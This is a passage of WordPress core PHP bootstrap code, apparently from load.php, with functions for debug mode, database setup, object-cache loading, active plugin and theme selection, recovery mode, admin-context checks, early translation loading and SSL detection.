 * When `WP_DEBUG_DISPLAY` is true, WordPress will force errors to be displayed.
 * `WP_DEBUG_DISPLAY` defaults to true. Defining it as null prevents WordPress
 * from changing the global configuration setting. Defining `WP_DEBUG_DISPLAY`
 * as false will force errors to be hidden.
 *
 * When `WP_DEBUG_LOG` is true, errors will be logged to `wp-content/debug.log`.
 * When `WP_DEBUG_LOG` is a valid path, errors will be logged to the specified file.
 *
 * Errors are never displayed for XML-RPC, REST, `ms-files.php`, and Ajax requests.
 *
 * @since 3.0.0
 * @since 5.1.0 `WP_DEBUG_LOG` can be a file path.
 * @access private
 */
function wp_debug_mode() {
	/**
	 * Filters whether to allow the debug mode check to occur.
	 *
	 * This filter runs before it can be used by plugins. It is designed for
	 * non-web runtimes. Returning false causes the `WP_DEBUG` and related
	 * constants to not be checked and the default PHP values for errors
	 * will be used unless you take care to update them yourself.
	 *
	 * To use this filter you must define a `$wp_filter` global before
	 * WordPress loads, usually in `wp-config.php`.
	 *
	 * Example:
	 *
	 *     $GLOBALS['wp_filter'] = array(
	 *         'enable_wp_debug_mode_checks' => array(
	 *             10 => array(
	 *                 array(
	 *                     'accepted_args' => 0,
	 *                     'function'      => function() {
	 *                         return false;
	 *                     },
	 *                 ),
	 *             ),
	 *         ),
	 *     );
	 *
	 * @since 4.6.0
	 *
	 * @param bool $enable_debug_mode Whether to enable debug mode checks to occur. Default true.
	 */
	if ( ! apply_filters( 'enable_wp_debug_mode_checks', true ) ) {
		return;
	}

	if ( WP_DEBUG ) {
		error_reporting( E_ALL );

		if ( WP_DEBUG_DISPLAY ) {
			ini_set( 'display_errors', 1 );
		} elseif ( null !== WP_DEBUG_DISPLAY ) {
			ini_set( 'display_errors', 0 );
		}

		if ( in_array( strtolower( (string) WP_DEBUG_LOG ), array( 'true', '1' ), true ) ) {
			$log_path = WP_CONTENT_DIR . '/debug.log';
		} elseif ( is_string( WP_DEBUG_LOG ) ) {
			$log_path = WP_DEBUG_LOG;
		} else {
			$log_path = false;
		}

		if ( $log_path ) {
			ini_set( 'log_errors', 1 );
			ini_set( 'error_log', $log_path );
		}
	} else {
		error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR );
	}

	/*
	 * The 'REST_REQUEST' check here is optimistic as the constant is most
	 * likely not set at this point even if it is in fact a REST request.
	 */
	if ( defined( 'XMLRPC_REQUEST' ) || defined( 'REST_REQUEST' ) || defined( 'MS_FILES_REQUEST' )
		|| ( defined( 'WP_INSTALLING' ) && WP_INSTALLING )
		|| wp_doing_ajax() || wp_is_json_request()
	) {
		ini_set( 'display_errors', 0 );
	}
}

/**
 * Sets the location of the language directory.
 *
 * To set directory manually, define the `WP_LANG_DIR` constant
 * in wp-config.php.
 *
 * If the language directory exists within `WP_CONTENT_DIR`, it
 * is used. Otherwise the language directory is assumed to live
 * in `WPINC`.
 *
 * @since 3.0.0
 * @access private
 */
function wp_set_lang_dir() {
	if ( ! defined( 'WP_LANG_DIR' ) ) {
		if ( file_exists( WP_CONTENT_DIR . '/languages' ) && @is_dir( WP_CONTENT_DIR . '/languages' )
			|| ! @is_dir( ABSPATH . WPINC . '/languages' )
		) {
			/**
			 * Server path of the language directory.
			 *
			 * No leading slash, no trailing slash, full path, not relative to ABSPATH
			 *
			 * @since 2.1.0
			 */
			define( 'WP_LANG_DIR', WP_CONTENT_DIR . '/languages' );

			if ( ! defined( 'LANGDIR' ) ) {
				// Old static relative path maintained for limited backward compatibility - won't work in some cases.
				define( 'LANGDIR', 'wp-content/languages' );
			}
		} else {
			/**
			 * Server path of the language directory.
			 *
			 * No leading slash, no trailing slash, full path, not relative to `ABSPATH`.
			 *
			 * @since 2.1.0
			 */
			define( 'WP_LANG_DIR', ABSPATH . WPINC . '/languages' );

			if ( ! defined( 'LANGDIR' ) ) {
				// Old relative path maintained for backward compatibility.
				define( 'LANGDIR', WPINC . '/languages' );
			}
		}
	}
}

/**
 * Loads the database class file and instantiates the `$wpdb` global.
 *
 * @since 2.5.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function require_wp_db() {
	global $wpdb;

	require_once ABSPATH . WPINC . '/class-wpdb.php';

	if ( file_exists( WP_CONTENT_DIR . '/db.php' ) ) {
		require_once WP_CONTENT_DIR . '/db.php';
	}

	if ( isset( $wpdb ) ) {
		return;
	}

	$dbuser     = defined( 'DB_USER' ) ? DB_USER : '';
	$dbpassword = defined( 'DB_PASSWORD' ) ? DB_PASSWORD : '';
	$dbname     = defined( 'DB_NAME' ) ? DB_NAME : '';
	$dbhost     = defined( 'DB_HOST' ) ? DB_HOST : '';

	$wpdb = new wpdb( $dbuser, $dbpassword, $dbname, $dbhost );
}

/**
 * Sets the database table prefix and the format specifiers for database
 * table columns.
 *
 * Columns not listed here default to `%s`.
 *
 * @since 3.0.0
 * @access private
 *
 * @global wpdb   $wpdb         WordPress database abstraction object.
 * @global string $table_prefix The database table prefix.
 */
function wp_set_wpdb_vars() {
	global $wpdb, $table_prefix;

	if ( ! empty( $wpdb->error ) ) {
		dead_db();
	}

	$wpdb->field_types = array(
		'post_author'      => '%d',
		'post_parent'      => '%d',
		'menu_order'       => '%d',
		'term_id'          => '%d',
		'term_group'       => '%d',
		'term_taxonomy_id' => '%d',
		'parent'           => '%d',
		'count'            => '%d',
		'object_id'        => '%d',
		'term_order'       => '%d',
		'ID'               => '%d',
		'comment_ID'       => '%d',
		'comment_post_ID'  => '%d',
		'comment_parent'   => '%d',
		'user_id'          => '%d',
		'link_id'          => '%d',
		'link_owner'       => '%d',
		'link_rating'      => '%d',
		'option_id'        => '%d',
		'blog_id'          => '%d',
		'meta_id'          => '%d',
		'post_id'          => '%d',
		'user_status'      => '%d',
		'umeta_id'         => '%d',
		'comment_karma'    => '%d',
		'comment_count'    => '%d',
		// Multisite:
		'active'           => '%d',
		'cat_id'           => '%d',
		'deleted'          => '%d',
		'lang_id'          => '%d',
		'mature'           => '%d',
		'public'           => '%d',
		'site_id'          => '%d',
		'spam'             => '%d',
	);

	$prefix = $wpdb->set_prefix( $table_prefix );

	if ( is_wp_error( $prefix ) ) {
		wp_load_translations_early();
		wp_die(
			sprintf(
				/* translators: 1: $table_prefix, 2: wp-config.php */
				__( '<strong>Error:</strong> %1$s in %2$s can only contain numbers, letters, and underscores.' ),
				'<code>$table_prefix</code>',
				'<code>wp-config.php</code>'
			)
		);
	}
}

/**
 * Toggles `$_wp_using_ext_object_cache` on and off without directly
 * touching global.
 *
 * @since 3.7.0
 *
 * @global bool $_wp_using_ext_object_cache
 *
 * @param bool $using Whether external object cache is being used.
 * @return bool The current 'using' setting.
 */
function wp_using_ext_object_cache( $using = null ) {
	global $_wp_using_ext_object_cache;

	$current_using = $_wp_using_ext_object_cache;

	if ( null !== $using ) {
		$_wp_using_ext_object_cache = $using;
	}

	return $current_using;
}

/**
 * Starts the WordPress object cache.
 *
 * If an object-cache.php file exists in the wp-content directory,
 * it uses that drop-in as an external object cache.
 *
 * @since 3.0.0
 * @access private
 *
 * @global array $wp_filter Stores all of the filters.
 */
function wp_start_object_cache() {
	global $wp_filter;
	static $first_init = true;

	// Only perform the following checks once.

	/**
	 * Filters whether to enable loading of the object-cache.php drop-in.
	 *
	 * This filter runs before it can be used by plugins. It is designed for non-web
	 * runtimes. If false is returned, object-cache.php will never be loaded.
	 *
	 * @since 5.8.0
	 *
	 * @param bool $enable_object_cache Whether to enable loading object-cache.php (if present).
	 *                                  Default true.
	 */
	if ( $first_init && apply_filters( 'enable_loading_object_cache_dropin', true ) ) {
		if ( ! function_exists( 'wp_cache_init' ) ) {
			/*
			 * This is the normal situation. First-run of this function. No
			 * caching backend has been loaded.
			 *
			 * We try to load a custom caching backend, and then, if it
			 * results in a wp_cache_init() function existing, we note
			 * that an external object cache is being used.
			 */
			if ( file_exists( WP_CONTENT_DIR . '/object-cache.php' ) ) {
				require_once WP_CONTENT_DIR . '/object-cache.php';

				if ( function_exists( 'wp_cache_init' ) ) {
					wp_using_ext_object_cache( true );
				}

				// Re-initialize any hooks added manually by object-cache.php.
				if ( $wp_filter ) {
					$wp_filter = WP_Hook::build_preinitialized_hooks( $wp_filter );
				}
			}
		} elseif ( ! wp_using_ext_object_cache() && file_exists( WP_CONTENT_DIR . '/object-cache.php' ) ) {
			/*
			 * Sometimes advanced-cache.php can load object-cache.php before
			 * this function is run. This breaks the function_exists() check
			 * above and can result in wp_using_ext_object_cache() returning
			 * false when actually an external cache is in use.
			 */
			wp_using_ext_object_cache( true );
		}
	}

	if ( ! wp_using_ext_object_cache() ) {
		require_once ABSPATH . WPINC . '/cache.php';
	}

	require_once ABSPATH . WPINC . '/cache-compat.php';

	/*
	 * If cache supports reset, reset instead of init if already
	 * initialized. Reset signals to the cache that global IDs
	 * have changed and it may need to update keys and cleanup caches.
	 */
	if ( ! $first_init && function_exists( 'wp_cache_switch_to_blog' ) ) {
		wp_cache_switch_to_blog( get_current_blog_id() );
	} elseif ( function_exists( 'wp_cache_init' ) ) {
		wp_cache_init();
	}

	if ( function_exists( 'wp_cache_add_global_groups' ) ) {
		wp_cache_add_global_groups(
			array(
				'blog-details',
				'blog-id-cache',
				'blog-lookup',
				'blog_meta',
				'global-posts',
				'networks',
				'network-queries',
				'sites',
				'site-details',
				'site-options',
				'site-queries',
				'site-transient',
				'theme_files',
				'translation_files',
				'rss',
				'users',
				'user-queries',
				'user_meta',
				'useremail',
				'userlogins',
				'userslugs',
			)
		);

		wp_cache_add_non_persistent_groups( array( 'counts', 'plugins', 'theme_json' ) );
	}

	$first_init = false;
}

/**
 * Redirects to the installer if WordPress is not installed.
 *
 * Dies with an error message when Multisite is enabled.
 *
 * @since 3.0.0
 * @access private
 */
function wp_not_installed() {
	if ( is_blog_installed() || wp_installing() ) {
		return;
	}

	nocache_headers();

	if ( is_multisite() ) {
		wp_die( __( 'The site you have requested is not installed properly. Please contact the system administrator.' ) );
	}

	require ABSPATH . WPINC . '/kses.php';
	require ABSPATH . WPINC . '/pluggable.php';

	$link = wp_guess_url() . '/wp-admin/install.php';

	wp_redirect( $link );
	die();
}

/**
 * Retrieves an array of must-use plugin files.
 *
 * The default directory is wp-content/mu-plugins. To change the default
 * directory manually, define `WPMU_PLUGIN_DIR` and `WPMU_PLUGIN_URL`
 * in wp-config.php.
 *
 * @since 3.0.0
 * @access private
 *
 * @return string[] Array of absolute paths of files to include.
 */
function wp_get_mu_plugins() {
	$mu_plugins = array();

	if ( ! is_dir( WPMU_PLUGIN_DIR ) ) {
		return $mu_plugins;
	}

	$dh = opendir( WPMU_PLUGIN_DIR );
	if ( ! $dh ) {
		return $mu_plugins;
	}

	while ( ( $plugin = readdir( $dh ) ) !== false ) {
		if ( str_ends_with( $plugin, '.php' ) ) {
			$mu_plugins[] = WPMU_PLUGIN_DIR . '/' . $plugin;
		}
	}

	closedir( $dh );

	sort( $mu_plugins );

	return $mu_plugins;
}

/**
 * Retrieves an array of active and valid plugin files.
 *
 * While upgrading or installing WordPress, no plugins are returned.
 *
 * The default directory is `wp-content/plugins`. To change the default
 * directory manually, define `WP_PLUGIN_DIR` and `WP_PLUGIN_URL`
 * in `wp-config.php`.
 *
 * @since 3.0.0
 * @access private
 *
 * @return string[] Array of paths to plugin files relative to the plugins directory.
 */
function wp_get_active_and_valid_plugins() {
	$plugins        = array();
	$active_plugins = (array) get_option( 'active_plugins', array() );

	// Check for hacks file if the option is enabled.
	if ( get_option( 'hack_file' ) && file_exists( ABSPATH . 'my-hacks.php' ) ) {
		_deprecated_file( 'my-hacks.php', '1.5.0' );
		array_unshift( $plugins, ABSPATH . 'my-hacks.php' );
	}

	if ( empty( $active_plugins ) || wp_installing() ) {
		return $plugins;
	}

	$network_plugins = is_multisite() ? wp_get_active_network_plugins() : false;

	foreach ( $active_plugins as $plugin ) {
		if ( ! validate_file( $plugin )                     // $plugin must validate as file.
			&& str_ends_with( $plugin, '.php' )             // $plugin must end with '.php'.
			&& file_exists( WP_PLUGIN_DIR . '/' . $plugin ) // $plugin must exist.
			// Not already included as a network plugin.
			&& ( ! $network_plugins || ! in_array( WP_PLUGIN_DIR . '/' . $plugin, $network_plugins, true ) )
		) {
			$plugins[] = WP_PLUGIN_DIR . '/' . $plugin;
		}
	}

	/*
	 * Remove plugins from the list of active plugins when we're on an endpoint
	 * that should be protected against WSODs and the plugin is paused.
	 */
	if ( wp_is_recovery_mode() ) {
		$plugins = wp_skip_paused_plugins( $plugins );
	}

	return $plugins;
}

/**
 * Filters a given list of plugins, removing any paused plugins from it.
 *
 * @since 5.2.0
 *
 * @global WP_Paused_Extensions_Storage $_paused_plugins
 *
 * @param string[] $plugins Array of absolute plugin main file paths.
 * @return string[] Filtered array of plugins, without any paused plugins.
 */
function wp_skip_paused_plugins( array $plugins ) {
	$paused_plugins = wp_paused_plugins()->get_all();

	if ( empty( $paused_plugins ) ) {
		return $plugins;
	}

	foreach ( $plugins as $index => $plugin ) {
		list( $plugin ) = explode( '/', plugin_basename( $plugin ) );

		if ( array_key_exists( $plugin, $paused_plugins ) ) {
			unset( $plugins[ $index ] );

			// Store list of paused plugins for displaying an admin notice.
			$GLOBALS['_paused_plugins'][ $plugin ] = $paused_plugins[ $plugin ];
		}
	}

	return $plugins;
}

/**
 * Retrieves an array of active and valid themes.
 *
 * While upgrading or installing WordPress, no themes are returned.
 *
 * @since 5.1.0
 * @access private
 *
 * @global string $pagenow            The filename of the current screen.
 * @global string $wp_stylesheet_path Path to current theme's stylesheet directory.
 * @global string $wp_template_path   Path to current theme's template directory.
 *
 * @return string[] Array of absolute paths to theme directories.
 */
function wp_get_active_and_valid_themes() {
	global $pagenow, $wp_stylesheet_path, $wp_template_path;

	$themes = array();

	if ( wp_installing() && 'wp-activate.php' !== $pagenow ) {
		return $themes;
	}

	if ( is_child_theme() ) {
		$themes[] = $wp_stylesheet_path;
	}

	$themes[] = $wp_template_path;

	/*
	 * Remove themes from the list of active themes when we're on an endpoint
	 * that should be protected against WSODs and the theme is paused.
	 */
	if ( wp_is_recovery_mode() ) {
		$themes = wp_skip_paused_themes( $themes );

		// If no active and valid themes exist, skip loading themes.
		if ( empty( $themes ) ) {
			add_filter( 'wp_using_themes', '__return_false' );
		}
	}

	return $themes;
}

/**
 * Filters a given list of themes, removing any paused themes from it.
 *
 * @since 5.2.0
 *
 * @global WP_Paused_Extensions_Storage $_paused_themes
 *
 * @param string[] $themes Array of absolute theme directory paths.
 * @return string[] Filtered array of absolute paths to themes, without any paused themes.
 */
function wp_skip_paused_themes( array $themes ) {
	$paused_themes = wp_paused_themes()->get_all();

	if ( empty( $paused_themes ) ) {
		return $themes;
	}

	foreach ( $themes as $index => $theme ) {
		$theme = basename( $theme );

		if ( array_key_exists( $theme, $paused_themes ) ) {
			unset( $themes[ $index ] );

			// Store list of paused themes for displaying an admin notice.
			$GLOBALS['_paused_themes'][ $theme ] = $paused_themes[ $theme ];
		}
	}

	return $themes;
}

/**
 * Determines whether WordPress is in Recovery Mode.
 *
 * In this mode, plugins or themes that cause WSODs will be paused.
 *
 * @since 5.2.0
 *
 * @return bool
 */
function wp_is_recovery_mode() {
	return wp_recovery_mode()->is_active();
}

/**
 * Determines whether we are currently on an endpoint that should be protected against WSODs.
 *
 * @since 5.2.0
 *
 * @global string $pagenow The filename of the current screen.
 *
 * @return bool True if the current endpoint should be protected.
 */
function is_protected_endpoint() {
	// Protect login pages.
	if ( isset( $GLOBALS['pagenow'] ) && 'wp-login.php' === $GLOBALS['pagenow'] ) {
		return true;
	}

	// Protect the admin backend.
	if ( is_admin() && ! wp_doing_ajax() ) {
		return true;
	}

	// Protect Ajax actions that could help resolve a fatal error should be available.
	if ( is_protected_ajax_action() ) {
		return true;
	}

	/**
	 * Filters whether the current request is against a protected endpoint.
	 *
	 * This filter is only fired when an endpoint is requested which is not already protected by
	 * WordPress core. As such, it exclusively allows providing further protected endpoints in
	 * addition to the admin backend, login pages and protected Ajax actions.
	 *
	 * @since 5.2.0
	 *
	 * @param bool $is_protected_endpoint Whether the currently requested endpoint is protected.
	 *                                    Default false.
	 */
	return (bool) apply_filters( 'is_protected_endpoint', false );
}

/**
 * Determines whether we are currently handling an Ajax action that should be protected against WSODs.
 *
 * @since 5.2.0
 *
 * @return bool True if the current Ajax action should be protected.
 */
function is_protected_ajax_action() {
	if ( ! wp_doing_ajax() ) {
		return false;
	}

	if ( ! isset( $_REQUEST['action'] ) ) {
		return false;
	}

	$actions_to_protect = array(
		'edit-theme-plugin-file', // Saving changes in the core code editor.
		'heartbeat',              // Keep the heart beating.
		'install-plugin',         // Installing a new plugin.
		'install-theme',          // Installing a new theme.
		'search-plugins',         // Searching in the list of plugins.
		'search-install-plugins', // Searching for a plugin in the plugin install screen.
		'update-plugin',          // Update an existing plugin.
		'update-theme',           // Update an existing theme.
		'activate-plugin',        // Activating an existing plugin.
	);

	/**
	 * Filters the array of protected Ajax actions.
	 *
	 * This filter is only fired when doing Ajax and the Ajax request has an 'action' property.
	 *
	 * @since 5.2.0
	 *
	 * @param string[] $actions_to_protect Array of strings with Ajax actions to protect.
	 */
	$actions_to_protect = (array) apply_filters( 'wp_protected_ajax_actions', $actions_to_protect );

	if ( ! in_array( $_REQUEST['action'], $actions_to_protect, true ) ) {
		return false;
	}

	return true;
}

/**
 * Sets internal encoding.
 *
 * In most cases the default internal encoding is latin1, which is
 * of no use, since we want to use the `mb_` functions for `utf-8` strings.
 *
 * @since 3.0.0
 * @access private
 */
function wp_set_internal_encoding() {
	if ( function_exists( 'mb_internal_encoding' ) ) {
		$charset = get_option( 'blog_charset' );
		// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
		if ( ! $charset || ! @mb_internal_encoding( $charset ) ) {
			mb_internal_encoding( 'UTF-8' );
		}
	}
}

/**
 * Adds magic quotes to `$_GET`, `$_POST`, `$_COOKIE`, and `$_SERVER`.
 *
 * Also forces `$_REQUEST` to be `$_GET + $_POST`. If `$_SERVER`,
 * `$_COOKIE`, or `$_ENV` are needed, use those superglobals directly.
 *
 * @since 3.0.0
 * @access private
 */
function wp_magic_quotes() {
	// Escape with wpdb.
	$_GET    = add_magic_quotes( $_GET );
	$_POST   = add_magic_quotes( $_POST );
	$_COOKIE = add_magic_quotes( $_COOKIE );
	$_SERVER = add_magic_quotes( $_SERVER );

	// Force REQUEST to be GET + POST.
	$_REQUEST = array_merge( $_GET, $_POST );
}

/**
 * Runs just before PHP shuts down execution.
 *
 * @since 1.2.0
 * @access private
 */
function shutdown_action_hook() {
	/**
	 * Fires just before PHP shuts down execution.
	 *
	 * @since 1.2.0
	 */
	do_action( 'shutdown' );

	wp_cache_close();
}

/**
 * Clones an object.
 *
 * @since 2.7.0
 * @deprecated 3.2.0
 *
 * @param object $input_object The object to clone.
 * @return object The cloned object.
 */
function wp_clone( $input_object ) {
	// Use parens for clone to accommodate PHP 4. See #17880.
	return clone( $input_object );
}

/**
 * Determines whether the current request is for the login screen.
 *
 * @since 6.1.0
 *
 * @see wp_login_url()
 *
 * @return bool True if inside WordPress login screen, false otherwise.
 */
function is_login() {
	return false !== stripos( wp_login_url(), $_SERVER['SCRIPT_NAME'] );
}

/**
 * Determines whether the current request is for an administrative interface page.
 *
 * Does not check if the user is an administrator; use current_user_can()
 * for checking roles and capabilities.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.1
 *
 * @global WP_Screen $current_screen WordPress current screen object.
 *
 * @return bool True if inside WordPress administration interface, false otherwise.
 */
function is_admin() {
	if ( isset( $GLOBALS['current_screen'] ) ) {
		return $GLOBALS['current_screen']->in_admin();
	} elseif ( defined( 'WP_ADMIN' ) ) {
		return WP_ADMIN;
	}

	return false;
}

/**
 * Determines whether the current request is for a site's administrative interface.
 *
 * e.g. `/wp-admin/`
 *
 * Does not check if the user is an administrator; use current_user_can()
 * for checking roles and capabilities.
 *
 * @since 3.1.0
 *
 * @global WP_Screen $current_screen WordPress current screen object.
 *
 * @return bool True if inside WordPress site administration pages.
 */
function is_blog_admin() {
	if ( isset( $GLOBALS['current_screen'] ) ) {
		return $GLOBALS['current_screen']->in_admin( 'site' );
	} elseif ( defined( 'WP_BLOG_ADMIN' ) ) {
		return WP_BLOG_ADMIN;
	}

	return false;
}

/**
 * Determines whether the current request is for the network administrative interface.
 *
 * e.g. `/wp-admin/network/`
 *
 * Does not check if the user is an administrator; use current_user_can()
 * for checking roles and capabilities.
 *
 * Does not check if the site is a Multisite network; use is_multisite()
 * for checking if Multisite is enabled.
 *
 * @since 3.1.0
 *
 * @global WP_Screen $current_screen WordPress current screen object.
 *
 * @return bool True if inside WordPress network administration pages.
 */
function is_network_admin() {
	if ( isset( $GLOBALS['current_screen'] ) ) {
		return $GLOBALS['current_screen']->in_admin( 'network' );
	} elseif ( defined( 'WP_NETWORK_ADMIN' ) ) {
		return WP_NETWORK_ADMIN;
	}

	return false;
}

/**
 * Determines whether the current request is for a user admin screen.
 *
 * e.g. `/wp-admin/user/`
 *
 * Does not check if the user is an administrator; use current_user_can()
 * for checking roles and capabilities.
 *
 * @since 3.1.0
 *
 * @global WP_Screen $current_screen WordPress current screen object.
 *
 * @return bool True if inside WordPress user administration pages.
 */
function is_user_admin() {
	if ( isset( $GLOBALS['current_screen'] ) ) {
		return $GLOBALS['current_screen']->in_admin( 'user' );
	} elseif ( defined( 'WP_USER_ADMIN' ) ) {
		return WP_USER_ADMIN;
	}

	return false;
}

/**
 * Determines whether Multisite is enabled.
 *
 * @since 3.0.0
 *
 * @return bool True if Multisite is enabled, false otherwise.
 */
function is_multisite() {
	if ( defined( 'MULTISITE' ) ) {
		return MULTISITE;
	}

	if ( defined( 'SUBDOMAIN_INSTALL' ) || defined( 'VHOST' ) || defined( 'SUNRISE' ) ) {
		return true;
	}

	return false;
}

/**
 * Retrieves the current site ID.
 *
 * @since 3.1.0
 *
 * @global int $blog_id
 *
 * @return int Site ID.
 */
function get_current_blog_id() {
	global $blog_id;

	return absint( $blog_id );
}

/**
 * Retrieves the current network ID.
 *
 * @since 4.6.0
 *
 * @return int The ID of the current network.
 */
function get_current_network_id() {
	if ( ! is_multisite() ) {
		return 1;
	}

	$current_network = get_network();

	if ( ! isset( $current_network->id ) ) {
		return get_main_network_id();
	}

	return absint( $current_network->id );
}

/**
 * Attempts an early load of translations.
 *
 * Used for errors encountered during the initial loading process, before
 * the locale has been properly detected and loaded.
 *
 * Designed for unusual load sequences (like setup-config.php) or for when
 * the script will then terminate with an error, otherwise there is a risk
 * that a file can be double-included.
 *
 * @since 3.4.0
 * @access private
 *
 * @global WP_Textdomain_Registry $wp_textdomain_registry WordPress Textdomain Registry.
 * @global WP_Locale              $wp_locale              WordPress date and time locale object.
 */
function wp_load_translations_early() {
	global $wp_textdomain_registry, $wp_locale;
	static $loaded = false;

	if ( $loaded ) {
		return;
	}

	$loaded = true;

	if ( function_exists( 'did_action' ) && did_action( 'init' ) ) {
		return;
	}

	// We need $wp_local_package.
	require ABSPATH . WPINC . '/version.php';

	// Translation and localization.
	require_once ABSPATH . WPINC . '/pomo/mo.php';
	require_once ABSPATH . WPINC . '/l10n/class-wp-translation-controller.php';
	require_once ABSPATH . WPINC . '/l10n/class-wp-translations.php';
	require_once ABSPATH . WPINC . '/l10n/class-wp-translation-file.php';
	require_once ABSPATH . WPINC . '/l10n/class-wp-translation-file-mo.php';
	require_once ABSPATH . WPINC . '/l10n/class-wp-translation-file-php.php';
	require_once ABSPATH . WPINC . '/l10n.php';
	require_once ABSPATH . WPINC . '/class-wp-textdomain-registry.php';
	require_once ABSPATH . WPINC . '/class-wp-locale.php';
	require_once ABSPATH . WPINC . '/class-wp-locale-switcher.php';

	// General libraries.
	require_once ABSPATH . WPINC . '/plugin.php';

	$locales   = array();
	$locations = array();

	if ( ! $wp_textdomain_registry instanceof WP_Textdomain_Registry ) {
		$wp_textdomain_registry = new WP_Textdomain_Registry();
	}

	while ( true ) {
		if ( defined( 'WPLANG' ) ) {
			if ( '' === WPLANG ) {
				break;
			}
			$locales[] = WPLANG;
		}

		if ( isset( $wp_local_package ) ) {
			$locales[] = $wp_local_package;
		}

		if ( ! $locales ) {
			break;
		}

		if ( defined( 'WP_LANG_DIR' ) && @is_dir( WP_LANG_DIR ) ) {
			$locations[] = WP_LANG_DIR;
		}

		if ( defined( 'WP_CONTENT_DIR' ) && @is_dir( WP_CONTENT_DIR . '/languages' ) ) {
			$locations[] = WP_CONTENT_DIR . '/languages';
		}

		if ( @is_dir( ABSPATH . 'wp-content/languages' ) ) {
			$locations[] = ABSPATH . 'wp-content/languages';
		}

		if ( @is_dir( ABSPATH . WPINC . '/languages' ) ) {
			$locations[] = ABSPATH . WPINC . '/languages';
		}

		if ( ! $locations ) {
			break;
		}

		$locations = array_unique( $locations );

		foreach ( $locales as $locale ) {
			foreach ( $locations as $location ) {
				if ( file_exists( $location . '/' . $locale . '.mo' ) ) {
					load_textdomain( 'default', $location . '/' . $locale . '.mo', $locale );

					if ( defined( 'WP_SETUP_CONFIG' ) && file_exists( $location . '/admin-' . $locale . '.mo' ) ) {
						load_textdomain( 'default', $location . '/admin-' . $locale . '.mo', $locale );
					}

					break 2;
				}
			}
		}

		break;
	}

	$wp_locale = new WP_Locale();
}

/**
 * Checks or sets whether WordPress is in "installation" mode.
 *
 * If the `WP_INSTALLING` constant is defined during the bootstrap, `wp_installing()` will default to `true`.
 *
 * @since 4.4.0
 *
 * @param bool $is_installing Optional. True to set WP into Installing mode, false to turn Installing mode off.
 *                            Omit this parameter if you only want to fetch the current status.
 * @return bool True if WP is installing, otherwise false. When a `$is_installing` is passed, the function will
 *              report whether WP was in installing mode prior to the change to `$is_installing`.
 */
function wp_installing( $is_installing = null ) {
	static $installing = null;

	// Support for the `WP_INSTALLING` constant, defined before WP is loaded.
	if ( is_null( $installing ) ) {
		$installing = defined( 'WP_INSTALLING' ) && WP_INSTALLING;
	}

	if ( ! is_null( $is_installing ) ) {
		$old_installing = $installing;
		$installing     = $is_installing;

		return (bool) $old_installing;
	}

	return (bool) $installing;
}

/**
 * Determines if SSL is used.
 *
 * @since 2.6.0
 * @since 4.6.0 Moved from functions.php to load.php.
 *
 * @return bool True if SSL, otherwise false.
 */
function is_ssl() {
	if ( isset( $_SERVER['HTTPS'] ) ) {
		if ( 'on' === strtolower( $_SERVER['HTTPS'] ) ) {
			return true;
		}

		if ( '1' === (string) $_SERVER['HTTPS'] ) {
			return true;
		}
	} elseif ( isset( $_SERVER['SERVER_PORT'] ) && ( '443' === (string) $_SERVER['SERVER_PORT'] ) ) {
		return true;
	}

	return false;
}

/**
 * Converts a shorthand byte value to an integer byte value.
 *
 * @since 2.3.0
 * @since 4.6.0 Moved from media.php to load.php.
 *
 * @link https://www.php.net/manual/en/function.ini-get.php
 * @link https://www.php.net/manual/en/faq.using.php#faq.using.shorthandbytes
 *
 * @param string $value A (PHP ini) byte value, either shorthand or ordinary.
 * @return int An integer byte value.
 */
function wp_convert_hr_to_bytes( $value ) {
	$value = strtolower( trim( $value ) );
	$bytes = (int) $value;

	if ( str_contains( $value, 'g' ) ) {
		$bytes *= GB_IN_BYTES;
	} elseif ( str_contains( $value, 'm' ) ) {
		$bytes *= MB_IN_BYTES;
	} elseif ( str_contains( $value, 'k' ) ) {
		$bytes *= KB_IN_BYTES;
	}

	// Deal with large (float) values which run into the maximum integer size.
	return min( $bytes, PHP_INT_MAX );
}

/**
 * Determines whether a PHP ini value is changeable at runtime.
 *
 * @since 4.6.0
 *
 * @link https://www.php.net/manual/en/function.ini-get-all.php
 *
 * @param string $setting The name of the ini setting to check.
 * @return bool True if the value is changeable at runtime. False otherwise.
 */
function wp_is_ini_value_changeable( $setting ) {
	static $ini_all;

	if ( ! isset( $ini_all ) ) {
		$ini_all = false;
		// Sometimes `ini_get_all()` is disabled via the `disable_functions` option for "security purposes".
		if ( function_exists( 'ini_get_all' ) ) {
			$ini_all = ini_get_all();
		}
	}

	// Bit operator to workaround https://bugs.php.net/bug.php?id=44936 which changes access level to 63 in PHP 5.2.6 - 5.2.17.
	if ( isset( $ini_all[ $setting ]['access'] )
		&& ( INI_ALL === ( $ini_all[ $setting ]['access'] & 7 ) || INI_USER === ( $ini_all[ $setting ]['access'] & 7 ) )
	) {
		return true;
	}

	// If we were unable to retrieve the details, fail gracefully to assume it's changeable.
	if ( ! is_array( $ini_all ) ) {
		return true;
	}

	return false;
}

/**
 * Determines whether the current request is a WordPress Ajax request.
 *
 * @since 4.7.0
 *
 * @return bool True if it's a WordPress Ajax request, false otherwise.
 */
function wp_doing_ajax() {
	/**
	 * Filters whether the current request is a WordPress Ajax request.
	 *
	 * @since 4.7.0
	 *
	 * @param bool $wp_doing_ajax Whether the current request is a WordPress Ajax request.
	 */
	return apply_filters( 'wp_doing_ajax', defined( 'DOING_AJAX' ) && DOING_AJAX );
}

/**
 * Determines whether the current request should use themes.
 *
 * @since 5.1.0
 *
 * @return bool True if themes should be used, false otherwise.
 */
function wp_using_themes() {
	/**
	 * Filters whether the current request should use themes.
	 *
	 * @since 5.1.0
	 *
	 * @param bool $wp_using_themes Whether the current request should use themes.
	 */
	return apply_filters( 'wp_using_themes', defined( 'WP_USE_THEMES' ) && WP_USE_THEMES );
}

/**
 * Determines whether the current request is a WordPress cron request.
 *
 * @since 4.8.0
 *
 * @return bool True if it's a WordPress cron request, false otherwise.
 */
function wp_doing_cron() {
	/**
	 * Filters whether the current request is a WordPress cron request.
	 *
	 * @since 4.8.0
	 *
	 * @param bool $wp_doing_cron Whether the current request is a WordPress cron request.
	 */
